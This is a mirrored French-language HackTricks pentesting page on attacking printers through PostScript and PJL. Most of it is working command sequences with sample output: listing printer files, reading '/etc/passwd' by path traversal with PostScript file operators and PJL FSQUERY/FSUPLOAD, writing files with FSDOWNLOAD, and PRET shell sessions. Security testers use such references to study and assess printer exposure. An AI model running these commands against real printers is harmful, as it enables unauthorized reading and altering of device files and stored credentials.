mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
102 lines
6.2 KiB
Markdown
102 lines
6.2 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR aux référentiels [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
## **PostScript**
|
|
|
|
Récupérez des informations sensibles telles que des fichiers de configuration ou des travaux d'impression stockés, RCE en écrivant des fichiers (comme l'édition de scripts rc ou le remplacement de fichiers binaires). Des constructions de langage légitimes sont définies pour **PostScript** et **PJL** pour **accéder au système de fichiers**.
|
|
|
|
Accédez au système de fichiers avec PostScript (notez qu'il peut être sandboxé en limitant les actions inoffensives):
|
|
```bash
|
|
> /str 256 string def (%*%../*) % list all files
|
|
> {==} str filenameforall
|
|
< (%disk0%../webServer/home/device.html)
|
|
< (%disk0%../webServer/.java.login.config)
|
|
< (%disk0%../webServer/config/soe.xml)
|
|
|
|
> /byte (0) def % read from file
|
|
> /infile (../../../etc/passwd) (r) file def
|
|
> { infile read {byte exch 0 exch put
|
|
> (%stdout) (w) file byte writestring}
|
|
> {infile closefile exit} ifelse
|
|
> } loop
|
|
< root::0:0::/:/bin/dlsh
|
|
|
|
> /outfile (test.txt) (w+) file def}} % write to file
|
|
> outfile (Hello World!) writestring
|
|
> outfile closefile
|
|
```
|
|
Vous pouvez utiliser les commandes [PRET](https://github.com/RUB-NDS/PRET) suivantes : `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` et `df` :
|
|
```
|
|
./pret.py -q printer ps
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> ls ../..
|
|
d - Jan 1 1970 (created Jan 1 1970) bootdev
|
|
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
|
|
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
|
|
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
|
|
d - Jan 1 1970 (created Jan 1 1970) etc
|
|
d - Jan 1 1970 (created Jan 1 1970) tmp
|
|
d - Jan 1 1970 (created Jan 1 1970) webServer
|
|
```
|
|
## PJL
|
|
|
|
PJL (Printer Job Language) est un langage de commande utilisé pour contrôler les imprimantes. Il est utilisé pour configurer les paramètres de l'imprimante, envoyer des commandes d'impression et récupérer des informations sur l'état de l'imprimante. Les commandes PJL sont envoyées à l'imprimante via le port TCP 9100.
|
|
|
|
Les commandes PJL sont généralement utilisées pour configurer les paramètres de l'imprimante, telles que la qualité d'impression, la résolution et le format de papier. Cependant, certaines commandes PJL peuvent également être utilisées pour accéder au système de fichiers de l'imprimante.
|
|
|
|
L'une des commandes PJL les plus couramment utilisées pour accéder au système de fichiers de l'imprimante est la commande "FSUPLOAD". Cette commande permet de télécharger des fichiers depuis l'imprimante vers un ordinateur distant. Il est également possible d'utiliser la commande "FSQUERY" pour interroger l'imprimante sur les fichiers stockés sur son système de fichiers.
|
|
|
|
Il est important de noter que l'accès au système de fichiers de l'imprimante via PJL peut être restreint par des mesures de sécurité telles que l'authentification et l'autorisation. Cependant, si ces mesures ne sont pas correctement mises en place, un attaquant peut potentiellement accéder aux fichiers sensibles stockés sur l'imprimante.
|
|
```
|
|
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
|
|
< .\:\:TYPE=DIR
|
|
< ..\:\:TYPE=DIR
|
|
< PostScript TYPE=DIR
|
|
< PJL TYPE=DIR
|
|
< saveDevice TYPE=DIR
|
|
< webServer TYPE=DIR
|
|
|
|
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
|
|
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
|
|
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
|
|
< root::0:0::/:/bin/dlsh
|
|
|
|
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
|
|
> Hello World!
|
|
```
|
|
De toute façon, l'accès aux fichiers avec PJL n'est pas pris en charge par de nombreux imprimantes.
|
|
|
|
Vous pouvez utiliser les commandes [PRET](https://github.com/RUB-NDS/PRET) : `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` et `df` :
|
|
```
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> ls ..
|
|
d - bootdev
|
|
d - dsk_jdi
|
|
d - dsk_jdi_ss
|
|
d - dsk_ram0
|
|
d - etc
|
|
d - lrt
|
|
d - tmp
|
|
d - webServer
|
|
d - xps
|
|
```
|
|
En savoir plus sur les possibles contournements de sandbox en utilisant les limitations PostScript et PJL dans [http://hacking-printers.net/wiki/index.php/File\_system\_access](http://hacking-printers.net/wiki/index.php/File\_system\_access)
|